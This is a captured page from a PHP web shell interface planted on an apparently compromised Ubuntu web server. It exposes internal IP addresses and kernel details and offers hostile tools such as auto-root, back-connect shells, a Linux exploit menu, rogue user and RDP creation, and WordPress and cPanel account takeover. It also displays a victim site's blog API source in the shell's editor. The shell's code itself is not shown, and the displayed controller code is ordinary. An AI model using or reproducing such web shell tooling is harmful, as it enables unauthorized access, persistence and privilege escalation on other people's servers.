Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
greenpreneurs /
api /
controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
admin.dashboard.controller.js
12.23
KB
-rw-r--r--
auth.controller.js
5.83
KB
-rw-r--r--
blog.controller.js
5.49
KB
-rw-r--r--
event.controller.js
1.43
KB
-rw-r--r--
homePage.controller.js
1.33
KB
-rw-r--r--
individualBlog.controller.js
4.96
KB
-rw-r--r--
user.controller.js
4.33
KB
-rw-r--r--
user.dashboard.controller.js
6.88
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : blog.controller.js
import pool from "../config/db.js"; import {errorHandler} from "../utils/error.js"; import moment from 'moment'; export const test = (req , res)=>{ console.log("test"); res.json({message : 'blog controller is working!'}); }; // export const getSearchedBlog = (req, res) => { // // Extract search query from request parameters or body // const searchTerm = req.body.search; // // // SQL query to search the blogs // const searchQuery = ` // SELECT // BlogData.BID, // BlogData.Title, // BlogData.ImageURL, // BlogData.Content, // BlogData.Date, // BlogData.Time, // UserData.Name AS UserName, // UserData.ImageURL AS UserImageURL // FROM // BlogData // JOIN // UserData ON BlogData.CID = UserData.CID // WHERE // (BlogData.Title LIKE CONCAT('%', ?, '%') // OR BlogData.Content LIKE CONCAT('%', ?, '%')) // AND BlogData.AdminConfirmed = true; // `; // // // Execute the query with the search term // pool.query(searchQuery, [searchTerm, searchTerm], (err, results) => { // if (err) { // errorHandler(err.statusCode, err.message, res); // } // // // If no results found // if (results.length === 0) { // return res.status(404).json({ message: 'No blogs found' }); // } // // // Send the found blogs as the response // res.status(200).json(results); // }); // }; // Function to get the blog with the most likes import util from "util"; // const query = util.promisify(pool.query).bind(pool); // ✅ Get the most liked blog export const getMostLikedBlog = async (req, res) => { try { const mostLikedQuery = ` SELECT BlogData.BID, BlogData.Title, BlogData.ImageURL AS BlogImage, BlogData.Date, BlogData.Time, UserData.Name AS UserName, UserData.ImageURL AS UserImageURL FROM BlogData JOIN LikeData ON BlogData.BID = LikeData.BID JOIN UserData ON BlogData.CID = UserData.CID ORDER BY LikeData.TotalLike DESC LIMIT 1; `; const results = await pool.query(mostLikedQuery); console.log('get most liked blog ',results[0][0]); return res.status(200).json({ mostLikedBlog: results.length ? results[0][0] : null }); } catch (error) { console.error("Error fetching most liked blog:", error); return res.status(500).json({ error: "Database query error" }); } }; // ✅ Get blogs with pagination export const getBlog = async (req, res) => { const limit = parseInt(req.query.limit) || 10; const offset = parseInt(req.query.offset) || 0; try { const blogQuery = ` SELECT BlogData.BID, BlogData.ImageURL AS BlogImage, BlogData.Content, BlogData.AdminConfirmed, BlogData.Date, BlogData.Time, UserData.Name AS UserName, UserData.ImageURL AS UserImage FROM BlogData JOIN UserData ON BlogData.CID = UserData.CID WHERE BlogData.AdminConfirmed = TRUE LIMIT ? OFFSET ?; `; const blogResults = await pool.query(blogQuery, [limit, offset]); console.log(blogResults[0]) if (blogResults.length === 0) { return res.status(404).json({ message: "No blogs found" }); } return res.status(200).json({ blogs: blogResults[0] }); } catch (error) { console.error("Error fetching blogs:", error); return res.status(500).json({ error: "Database query error" }); } }; // ✅ Add a view to a blog export const addView = async (req, res) => { const BID = req.body.BID.id; const currentDate = moment().format("YYYY-MM-DD"); const currentTime = moment().format("HH:mm:ss"); try { const viewQuery = ` INSERT INTO ViewData (BID, TotalViews, Date, Time) VALUES (?, 1, ?, ?) ON DUPLICATE KEY UPDATE TotalViews = TotalViews + 1; `; await pool.query(viewQuery, [BID, currentDate, currentTime]); return res.status(200).json({ message: "View added successfully" }); } catch (error) { console.error("Error adding view:", error); return res.status(500).json({ error: "Database query error" }); } }; // ✅ Add a share to a blog export const addShare = async (req, res) => { const BID = req.body.BID.id; const currentDate = moment().format("YYYY-MM-DD"); const currentTime = moment().format("HH:mm:ss"); try { const shareQuery = ` INSERT INTO ShareData (BID, TotalShare, Date, Time) VALUES (?, 1, ?, ?) ON DUPLICATE KEY UPDATE TotalShare = TotalShare + 1; `; await pool.query(shareQuery, [BID, currentDate, currentTime]); return res.status(200).json({ message: "Share added successfully" }); } catch (error) { console.error("Error adding share:", error); return res.status(500).json({ error: "Database query error" }); } };
Close